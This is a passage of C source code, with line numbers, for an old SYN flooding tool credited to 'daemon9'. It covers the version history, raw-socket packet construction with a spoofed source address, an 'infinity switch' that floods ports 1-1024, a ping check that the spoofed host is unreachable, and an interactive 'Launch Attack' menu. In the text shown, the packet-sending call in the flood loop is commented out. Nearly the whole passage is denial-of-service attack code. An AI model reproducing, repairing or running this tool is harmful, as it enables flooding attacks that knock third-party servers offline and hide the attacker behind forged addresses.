  762.     It would appear that flooding a host on every port (with the 
  763.     infinity switch) has it's drawbacks.  So many packets are trying to 
  764.     make their way to the target host, it seems as though many are 
  765.     dropped, especially on ethernets.  Across the Internet, though, the 
  766.     problem appears mostly mitigated.  The call to usleep appears to fix 
  767.     this...  Coming up is a port scanning option that will find open 
  768.     ports...
  769.  
  770. Version History:
  771. 6/17/96 beta1:    SYN flooding, Cmd line and crude menu, ICMP stuff broken
  772. 6/20/96    beta2:    Better menu, improved SYN flooding, ICMP fixed... sorta
  773. 6/21/96    beta3:    Better menu still, fixed SYN flood clogging problem
  774.         Fixed some name-lookup problems
  775. 6/22/96    beta4:    Some loop optimization, ICMP socket stuff changed, ICMP
  776.         code fixed
  777. 6/23/96 1.0:    First real version...
  778. 6/25/96    1.1:    Cleaned up some stuff, added authentication hooks, fixed up
  779.         input routine stuff
  780. 7/01/96    1.5:    Added daemonizing routine...
  781.  
  782.    This coding project made possible by a grant from the Guild corporation
  783.  
  784. */
  785.  
  786. #include <stdio.h>
  787. #include <stdlib.h>
  788. #include <string.h>
  789. #include <syslog.h>
  790. #include <pwd.h>
  791. #include <unistd.h>
  792. #include <netinet/in.h>
  793. #include <arpa/inet.h>
  794. #include <netdb.h>
  795. #include <sys/socket.h>
  796. #include <sys/ioctl.h>
  797. #include <fcntl.h>
  798. #include <time.h>
  799. #include <linux/signal.h>
  800. #include <linux/ip.h>
  801. #include <linux/tcp.h>
  802. #include <linux/icmp.h>
  803.  
  804. #define BUFLEN 256
  805. #define MENUBUF    64
  806. #define MAXPORT 1024
  807. #define    MAXPAK 4096        
  808. #define    MENUSLEEP 700000     
  809. #define    FLOODSLEEP 100        /* Ethernet, or WAN? Yur mileage will vary.*/
  810. #define    ICMPSLEEP 100        
  811. #define ACCESSLIST "/etc/sfaccess.conf"
  812.  
  813. int HANDLERCODE=1;
  814. int KEEPQUIET=0;
  815. char werd[]={"\nThis code made possible by a grant from the Guild Corporation\n\0"};
  816.  
  817. void main(argc,argv)
  818. int argc;
  819. char *argv[];
  820. {
  821.     
  822.     void usage(char *);
  823.     void menu(int,char *);
  824.     void flood(int,unsigned,unsigned,u_short,int);
  825.     unsigned nameResolve(char *);
  826.     int authenticate(int,char *);    
  827.  
  828.     unsigned unreachable,target;    
  829.     int c,port,amount,sock1,fd;
  830.     struct passwd *passEnt;
  831.     char t[20],u[20];
  832.  
  833.     if((fd=open(ACCESSLIST,O_RDONLY))<=0){
  834.         perror("Cannot open accesslist");
  835.         exit(1);
  836.     }
  837.     setpwent();
  838.     passEnt=getpwuid(getuid());
  839.     endpwent();
  840.                 /* Authenticate */
  841.     if(!authenticate(fd,passEnt->pw_name)){
  842.         fprintf(stderr,"Access Denied, kid\n");
  843.         exit(0);
  844.     }
  845.                 /* Open up a RAW socket */
  846.  
  847.        if((sock1=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
  848.            perror("\nHmmm.... socket problems\n");
  849.               exit(1);
  850.        } 
  851.     if(argc==1){
  852.         menu(sock1,passEnt->pw_name);
  853.         exit(0);
  854.     }
  855.                 /* Parse command-line arguments */
  856.     while((c=getopt(argc,argv,"8:s:t:p:a"))){
  857.               switch(c){
  858.             case 's':    /* Source (spoofed) host */
  859.                 unreachable=nameResolve(optarg);
  860.                 strcpy(u,optarg);
  861.                 break;
  862.             case 't':    /* Target host */
  863.                  target=nameResolve(optarg);
  864.                 strcpy(t,optarg);
  865.                 break;
  866.             case 'p':    /* Target port */
  867.                 port=atoi(optarg);
  868.                 break;
  869.                 case '8':    /* infinity switch */
  870.                 port=0;            
  871.                 break;
  872.             case 'a':    /* Amount of SYNs to send */
  873.                 amount=atoi(optarg);
  874.                 break;
  875.                 default:    /* WTF? */
  876.                       usage(argv[0]);
  877.         }
  878.     }    
  879.  
  880.     if(!port){
  881.         printf("\n\nFlooding target: \t\t%u\nOn ports\t\t\t1-%d\nAmount: \t\t\t%u\nPuportedly from: \t\t%u \n",target,MAXPORT,amount,unreachable); 
  882.           flood(sock1,unreachable,target,0,amount);
  883.     }    
  884.     else{
  885.         printf("\n\nFlooding target: \t\t%u\nOn port: \t\t\t%u\nAmount: \t\t\t%u\nPuportedly from: \t\t%u \n",target,port,amount,unreachable); 
  886.            flood(sock1,unreachable,target,port,amount);
  887.     }
  888.     syslog(LOG_LOCAL6|LOG_INFO,"FLOOD: PID: %d, User:%s Target:%s Unreach:%s Port:%d Number:%d\n",getpid(),passEnt->pw_name,t,u,port,amount);  
  889.     printf(werd);
  890.     exit(0);
  891. }                    /* End main */
  892.  
  893. /*
  894.  *     Authenticate.  Makes sure user is authorized to run program.
  895.  *
  896.  */
  897. int authenticate(fd,nameID)
  898. int fd;
  899. char *nameID;
  900. {
  901.  
  902.     char buf[BUFLEN+1];
  903.     char workBuffer[10];
  904.     int i=0,j=0;    
  905.  
  906.     while(read(fd,buf,sizeof(buf))){
  907.         if(!(strstr(buf,nameID))){
  908.             close(fd);
  909.             syslog(LOG_LOCAL6|LOG_INFO,"Failed authentication for %s\n",nameID);  
  910.             return(0);
  911.         }
  912.         else {
  913.             close(fd);
  914.             syslog(LOG_LOCAL6|LOG_INFO,"Successful start by %s, PID: %d\n",nameID,getpid());  
  915.             return(1);
  916.         }
  917.     }
  918. }
  919.  
  920.  
  921. /*
  922.  *    Flood.  This is main workhorse of the program.  IP and TCP header 
  923.  *    construction occurs here, as does flooding.    
  924.  */
  925. void flood(int sock,unsigned sadd,unsigned dadd,u_short dport,int amount){
  926.  
  927.     unsigned short in_cksum(unsigned short *,int);
  928.   
  929.        struct packet{
  930.               struct iphdr ip;
  931.               struct tcphdr tcp;
  932.        }packet;
  933.    
  934.     struct pseudo_header{        /* For TCP header checksum */
  935.               unsigned int source_address;
  936.               unsigned int dest_address;
  937.               unsigned char placeholder;
  938.               unsigned char protocol;
  939.               unsigned short tcp_length;
  940.               struct tcphdr tcp;
  941.        }pseudo_header;
  942.  
  943.        struct sockaddr_in sin;        /* IP address information */
  944.        register int i=0,j=0;        /* Counters */
  945.     int tsunami=0;            /* flag */
  946.     unsigned short sport=161+getpid();
  947.  
  948.     if(!dport){
  949.         tsunami++;        /* GOD save them... */
  950.         fprintf(stderr,"\nTSUNAMI!\n");
  951.         fprintf(stderr,"\nflooding port:");    
  952.     }
  953.  
  954.                /* Setup the sin struct with addressing information */
  955.  
  956.        sin.sin_family=AF_INET;        /* Internet address family */
  957.        sin.sin_port=sport;        /* Source port */
  958.        sin.sin_addr.s_addr=dadd;    /* Dest. address */
  959.                 
  960.             /* Packet assembly begins here */
  961.  
  962.                    /* Fill in all the TCP header information */
  963.  
  964.        packet.tcp.source=sport;    /* 16-bit Source port number */
  965.        packet.tcp.dest=htons(dport);     /* 16-bit Destination port */
  966.        packet.tcp.seq=49358353+getpid();    /* 32-bit Sequence Number */
  967.        packet.tcp.ack_seq=0;        /* 32-bit Acknowledgement Number */
  968.        packet.tcp.doff=5;        /* Data offset */
  969.     packet.tcp.res1=0;        /* reserved */
  970.     packet.tcp.res2=0;        /* reserved */    
  971.        packet.tcp.urg=0;        /* Urgent offset valid flag */        
  972.        packet.tcp.ack=0;        /* Acknowledgement field valid flag */
  973.        packet.tcp.psh=0;        /* Push flag */
  974.        packet.tcp.rst=0;        /* Reset flag */
  975.        packet.tcp.syn=1;        /* Synchronize sequence numbers flag */
  976.        packet.tcp.fin=0;        /* Finish sending flag */
  977.        packet.tcp.window=htons(242); /* 16-bit Window size */
  978.        packet.tcp.check=0;        /* 16-bit checksum (to be filled in below) */
  979.        packet.tcp.urg_ptr=0;        /* 16-bit urgent offset */
  980.  
  981.                    /* Fill in all the IP header information */
  982.    
  983.        packet.ip.version=4;        /* 4-bit Version */
  984.     packet.ip.ihl=5;        /* 4-bit Header Length */
  985.        packet.ip.tos=0;        /* 8-bit Type of service */
  986.        packet.ip.tot_len=htons(40);    /* 16-bit Total length */
  987.        packet.ip.id=getpid();        /* 16-bit ID field */
  988.        packet.ip.frag_off=0;        /* 13-bit Fragment offset */
  989.        packet.ip.ttl=255;        /* 8-bit Time To Live */
  990.        packet.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */
  991.        packet.ip.check=0;        /* 16-bit Header checksum (filled in below) */
  992.        packet.ip.saddr=sadd;        /* 32-bit Source Address */
  993.        packet.ip.daddr=dadd;        /* 32-bit Destination Address */
  994.  
  995.             /* Psuedo-headers needed for TCP hdr checksum (they
  996.             do not change and do not need to be in the loop) */
  997.               
  998.     pseudo_header.source_address=packet.ip.saddr;
  999.           pseudo_header.dest_address=packet.ip.daddr;
  1000.           pseudo_header.placeholder=0;
  1001.           pseudo_header.protocol=IPPROTO_TCP;
  1002.           pseudo_header.tcp_length=htons(20);
  1003.  
  1004.     while(1){            /* Main loop */
  1005.         if(tsunami){
  1006.             if(j==MAXPORT){
  1007.                 tsunami=0;
  1008.                   break;
  1009.             }
  1010.             packet.tcp.dest=htons(++j);
  1011.             fprintf(stderr,"%d",j);
  1012.             fprintf(stderr,"%c",0x08);
  1013.             if(j>=10)fprintf(stderr,"%c",0x08);
  1014.             if(j>=100)fprintf(stderr,"%c",0x08);
  1015.             if(j>=1000)fprintf(stderr,"%c",0x08);
  1016.             if(j>=10000)fprintf(stderr,"%c",0x08);
  1017.  
  1018.         }
  1019.            for(i=0;i<amount;i++){    /* Flood loop */
  1020.  
  1021.                 /* Certian header fields should change */    
  1022.  
  1023.                   packet.tcp.source++;    /* Source port inc */
  1024.                   packet.tcp.seq++;    /* Sequence Number inc */
  1025.                   packet.tcp.check=0;    /* Checksum will need to change */
  1026.                   packet.ip.id++;        /* ID number */
  1027.                   packet.ip.check=0;    /* Checksum will need to change */
  1028.  
  1029.                   /* IP header checksum */
  1030.           
  1031.             packet.ip.check=in_cksum((unsigned short *)&packet.ip,20);
  1032.  
  1033.             /* Setup TCP headers for checksum */
  1034.  
  1035.                   bcopy((char *)&packet.tcp,(char *)&pseudo_header.tcp,20);
  1036.  
  1037.             /* TCP header checksum */
  1038.  
  1039.                   packet.tcp.check=in_cksum((unsigned short *)&pseudo_header,32);
  1040.  
  1041.             /* As it turns out, if we blast packets too fast, many
  1042.              get dropped, as the receiving kernel can't cope (at 
  1043.             least on an ethernet).  This value could be tweaked
  1044.             prolly, but that's up to you for now... */
  1045.         
  1046.             usleep(FLOODSLEEP);  
  1047.         
  1048.         /* This is where we sit back and watch it all come together */
  1049.               
  1050.             /*sendto(sock,&packet,40,0,(struct sockaddr *)&sin,sizeof(sin));*/
  1051.             if(!tsunami&&!KEEPQUIET)fprintf(stderr,".");
  1052.            }    
  1053.         if(!tsunami)break;
  1054.     }
  1055. }
  1056.  
  1057.  
  1058. /*
  1059.  *    IP Family checksum routine (from UNP)
  1060.  */
  1061. unsigned short in_cksum(unsigned short *ptr,int nbytes){
  1062.  
  1063.     register long           sum;            /* assumes long == 32 bits */
  1064.         u_short                 oddbyte;
  1065.         register u_short        answer;         /* assumes u_short == 16 bits */
  1066.  
  1067.         /*
  1068.          * Our algorithm is simple, using a 32-bit accumulator (sum),
  1069.          * we add sequential 16-bit words to it, and at the end, fold back
  1070.          * all the carry bits from the top 16 bits into the lower 16 bits.
  1071.          */
  1072.  
  1073.         sum = 0;
  1074.         while (nbytes > 1)  {
  1075.                 sum += *ptr++;
  1076.                 nbytes -= 2;
  1077.         }
  1078.  
  1079.                                 /* mop up an odd byte, if necessary */
  1080.         if (nbytes == 1) {
  1081.                 oddbyte = 0;            /* make sure top half is zero */
  1082.                 *((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
  1083.                 sum += oddbyte;
  1084.         }
  1085.  
  1086.         /*
  1087.          * Add back carry outs from top 16 bits to low 16 bits.
  1088.          */
  1089.  
  1090.         sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
  1091.         sum += (sum >> 16);                     /* add carry */
  1092.         answer = ~sum;          /* ones-complement, then truncate to 16 bits */
  1093.         return(answer);
  1094. }
  1095.  
  1096.  
  1097. /*
  1098.  *    Converts IP addresses
  1099.  */
  1100. unsigned nameResolve(char *hostname){
  1101.  
  1102.     struct in_addr addr;
  1103.        struct hostent *hostEnt;
  1104.  
  1105.        if((addr.s_addr=inet_addr(hostname))==-1){
  1106.              if(!(hostEnt=gethostbyname(hostname))){
  1107.                  fprintf(stderr,"Name lookup failure: `%s`\n",hostname);
  1108.                  exit(0);
  1109.               }
  1110.               bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
  1111.        }
  1112.        return addr.s_addr;
  1113. }
  1114.  
  1115.  
  1116. /*
  1117.  *    Menu function.  Nothing suprising here.  Except that one thing.
  1118.  */
  1119. void menu(sock1,nameID)
  1120. int sock1;
  1121. char *nameID;
  1122. {
  1123.     int slickPing(int,int,char *);
  1124.     void flood(int,unsigned,unsigned,u_short,int);
  1125.     unsigned nameResolve(char *);
  1126.     void demon(int,char *,char *,int,int,int,int);
  1127.  
  1128.     int i,sock2,menuLoop=1,icmpAmt,port,amount,interval,ttl;
  1129.     char optflags[7]={0};        /* So we can keep track of the options */
  1130.     static char tmp[MENUBUF+1]={0},target[MENUBUF+1]={0},unreach[MENUBUF+1]={0};    
  1131.  
  1132.     while(menuLoop){        
  1133.         printf("\n\n\t\t\t[   SYNflood Menu   ]\n\t\t\t    [  daemon9  ]\n\n");
  1134.         if(!optflags[0])printf("1\t\tEnter target host\n");
  1135.         else printf("[1]\t\tTarget:\t\t\t%s\n",target);
  1136.         if(!optflags[1])printf("2\t\tEnter source (unreachable) host\n");
  1137.         else printf("[2]\t\tUnreachable:\t\t%s\n",unreach);
  1138.         if(!optflags[2])printf("3\t\tSend ICMP_ECHO(s) to unreachable\n");
  1139.         else printf("[3]\t\tUnreachable host:\tverified unreachable\n");
  1140.         if(!optflags[3])printf("4\t\tEnter port number to flood\n");
  1141.         else if(port)printf("[4]\t\tFlooding:\t\t%d\n",port);
  1142.         else printf("[4]\t\tFlooding:\t\t1-1024\n");
  1143.         if(!optflags[4])printf("5\t\tEnter number of SYNs\n");
  1144.         else printf("[5]\t\tNumber SYNs:\t\t%d\n",amount);
  1145.         printf("\n6\t\tQuit\n");
  1146.         if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4])printf("7\t\tLaunch Attack\n");
  1147.         if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4])printf("8\t\tDaemonize\n");
  1148.         printf("\n\n\n\n\n\n\n\n\n\n\n\n");
  1149.         fgets(tmp,BUFLEN/2,stdin);    /* tempered input */
  1150.         switch(atoi(tmp)){
  1151.             case 1:    
  1152.                 printf("[hostname]-> ");
  1153.                 fgets(target,MENUBUF,stdin);
  1154.                 i=0;
  1155.                 if(target[0]=='\n')break;
  1156.                 while(target[i]!='\n')i++;
  1157.                 target[i]=0;
  1158.                 optflags[0]=1;            
  1159.                 break;
  1160.             case 2:
  1161.                 printf("[hostname]-> ");
  1162.                 fgets(unreach,MENUBUF,stdin);
  1163.                 i=0;
  1164.                 if(unreach[0]=='\n')break;
  1165.                 while(unreach[i]!='\n')i++;
  1166.                 unreach[i]=0;
  1167.                 optflags[1]=1;
  1168.                 break;
  1169.             case 3:
  1170.                 if(!optflags[1]){
  1171.                     fprintf(stderr,"Um, enter a host first\n");
  1172.                     usleep(MENUSLEEP);
  1173.                     break;
  1174.                 }
  1175.                         /* Raw ICMP socket */
  1176.                    if((sock2=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0){
  1177.                        perror("\nHmmm.... socket problems\n");
  1178.                           exit(1);
  1179.                    }        
  1180.                 printf("[number of ICMP_ECHO's]-> ");
  1181.                 fgets(tmp,MENUBUF,stdin);
  1182.                 if(!(icmpAmt=atoi(tmp)))break;
  1183.                 if(slickPing(icmpAmt,sock2,unreach)){
  1184.                     fprintf(stderr,"Host is reachable... Pick a new one\n");
  1185.                     sleep(1);
  1186.                     optflags[1]=0;
  1187.                     optflags[2]=0;
  1188.                     HANDLERCODE=1;
  1189.                     close(sock2);
  1190.                     break;
  1191.                 }
  1192.                 optflags[2]=1;
  1193.                 close(sock2);
  1194.                 break;
  1195.             case 4: 
  1196.                 printf("[port number]-> ");
  1197.                 fgets(tmp,MENUBUF,stdin);
  1198.                 port=atoi(tmp);
  1199.                 optflags[3]=1;
  1200.                 break;
  1201.             case 5:
  1202.                 printf("[number of SYNs]-> ");
  1203.                 fgets(tmp,MENUBUF,stdin);
  1204.                 if(!(amount=atoi(tmp)))break;
  1205.                 optflags[4]=1;
  1206.                 break;
  1207.             case 6:
  1208.                 menuLoop--;
  1209.                 break;
  1210.             case 7:
  1211.                 if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4]){
  1212.                     syslog(LOG_LOCAL6|LOG_INFO,"FLOOD: PID: %d, User:%s Target:%s Unreach:%s Port:%d Number:%d\n",getpid(),nameID,target,unreach,port,amount);  
  1213.                     flood(sock1,nameResolve(unreach),nameResolve(target),port,amount);
  1214.                     menuLoop--;
  1215.                 }
  1216.                 else{
  1217.                     fprintf(stderr,"Illegal option --try again\n");
  1218.                     usleep(MENUSLEEP);
  1219.                 }
  1220.                 break;
  1221.             case 8:
  1222.                 if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4]){
  1223.                     if(!port){
  1224.                         fprintf(stderr,"Cannot set infinity flag in daemon mode.  Sorry.\n");
  1225.                         usleep(MENUSLEEP*2);
  1226.                         break;
  1227.                     }
  1228.                     printf("[packet sending interval in seconds {80}]-> ");
  1229.                     fgets(tmp,MENUBUF,stdin);
  1230.                     if(!(interval=atoi(tmp)))interval=80;
  1231.                     printf("[time for daemon to live in whole hours(0=forever)]-> ");
  1232.                     fgets(tmp,MENUBUF,stdin);
  1233.                     ttl=atoi(tmp);
  1234.                     syslog(LOG_LOCAL6|LOG_INFO,"DFLOOD: PID: %d, User:%s Target:%s Unreach:%s Port:%d Number:%d Interval: %d TTL: %d\n",getpid(),nameID,target,unreach,port,amount,interval,ttl);  
  1235.                     demon(sock1,unreach,target,port,amount,interval,ttl);
  1236.                     exit(0);
  1237.                 }
  1238.                 else{
  1239.                     fprintf(stderr,"Illegal option --try again\n");
  1240.                     usleep(MENUSLEEP);
  1241.                 }
  1242.                 break;
  1243.                                 
  1244.             default:
  1245.                 fprintf(stderr,"Illegal option --try again\n");
  1246.                 usleep(MENUSLEEP);
  1247.         }
  1248.  
  1249.     }
  1250.     printf("\n");
  1251.     printf(werd);
  1252.     return;
  1253. }
  1254.  
  1255.  
  1256. /*
  1257.  *    SlickPing.  A quick and dirty ping hack.  Sends <amount> ICMP_ECHO 
  1258.  *    packets and waits for a reply on any one of them...  It has to check 
  1259.  *    to make sure the ICMP_ECHOREPLY is actually meant for us, as raw ICMP 
  1260.  *    sockets get ALL the ICMP traffic on a host, and someone could be 
  1261.  *    pinging some other host and we could get that ECHOREPLY and foul 
  1262.  *    things up for us.
  1263.  */
  1264. int slickPing(amount,sock,dest)
  1265. int amount,sock;
  1266. char *dest;
  1267. {
  1268.  
  1269.     int alarmHandler();
  1270.     unsigned nameResolve(char *);
  1271.     
  1272.     register int retcode,j=0;
  1273.     struct icmphdr *icmp;
  1274.     struct sockaddr_in sin;
  1275.     unsigned char sendICMPpak[MAXPAK]={0};
  1276.     unsigned short pakID=getpid()&0xffff;
  1277.  
  1278.     struct ippkt{
  1279.            struct iphdr ip;
  1280.            struct icmphdr icmp;
  1281.            char buffer[MAXPAK];
  1282.     }pkt;
  1283.  
  1284.     bzero((char *)&sin,sizeof(sin));
  1285.     sin.sin_family=AF_INET;
  1286.     sin.sin_addr.s_addr=nameResolve(dest);
  1287.  
  1288.         /* ICMP Packet assembly  */
  1289.     /* We let the kernel create our IP header as it is legit */
  1290.  
  1291.     icmp=(struct icmphdr *)sendICMPpak;
  1292.     icmp->type=ICMP_ECHO;            /* Requesting an Echo */
  1293.     icmp->code=0;                /* 0 for ICMP ECHO/ECHO_REPLY */
  1294.     icmp->un.echo.id=pakID;            /* To identify upon return */    
  1295.     icmp->un.echo.sequence=0;        /* Not used for us */
  1296.     icmp->checksum=in_cksum((unsigned short *)icmp,64);
  1297.  
  1298.     fprintf(stderr,"sending ICMP_ECHO packets: ");
  1299.     for(;j<amount;j++){
  1300.         usleep(ICMPSLEEP);        /* For good measure */
  1301.         retcode=sendto(sock,sendICMPpak,64,0,(struct sockaddr *)&sin,sizeof(sin));
  1302.         if(retcode<0||retcode!=64)
  1303.             if(retcode<0){
  1304.                 perror("ICMP sendto err");
  1305.                 exit(1);
  1306.             }
  1307.             else fprintf(stderr,"Only wrote %d bytes",retcode);
  1308.         else fprintf(stderr,".");
  1309.     }
  1310.     HANDLERCODE=1;
  1311.     signal(SIGALRM,alarmHandler);    /* catch the ALARM and handle it */
  1312.     fprintf(stderr,"\nSetting alarm timeout for 10 seconds...\n");
  1313.     alarm(10);    /* ALARM is set b/c read() will block forever if no */
  1314.     while(1){    /* packets arrive...   (which is what we want....)  */
  1315.         read(sock,(struct ippkt *)&pkt,MAXPAK-1);
  1316.           if(pkt.icmp.type==ICMP_ECHOREPLY&&icmp->un.echo.id==pakID){
  1317.             if(!HANDLERCODE)return(0);
  1318.             return(1);
  1319.         }
  1320.       }    
  1321. }
  1322.  
  1323.  
  1324. /* 
  1325.  *    SIGALRM signal handler.  Souper simple.
  1326.  */ 
  1327. int alarmHandler(){
  1328.  
  1329.     HANDLERCODE=0;        /* shame on me for using global vars */
  1330.     alarm(0);
  1331.     signal(SIGALRM,SIG_DFL);
  1332.     return(0);
  1333. }
  1334.  
  1335.  
  1336. /*
  1337.  *    Usage function...  
  1338.  */
  1339. void usage(nomenclature)
  1340. char *nomenclature;
  1341. {
  1342.     fprintf(stderr,"\n\nUSAGE: %s \n\t-s unreachable_host \n\t-t target_host \n\t-p port [-8 (infinity switch)] \n\t-a amount_of_SYNs\n",nomenclature);
  1343.           exit(0);
  1344. }
  1345.  
  1346.  
  1347. /*
  1348.  *    Demon.  Backgrounding procedure and looping stuff.  
  1349.  */                    
  1350.  
  1351. void demon(sock,unreachable,target,port,amount,interval,ttl)
  1352. int sock;
  1353. char *unreachable;
  1354. char *target;
  1355. int port;
  1356. int amount;
  1357. int interval;
  1358. int ttl;
  1359. {
  1360.     fprintf(stderr,"\nSorry Daemon mode not available in this version\n");
  1361.     exit(0);
  1362.  
  1363. }
  1364.     
  1365.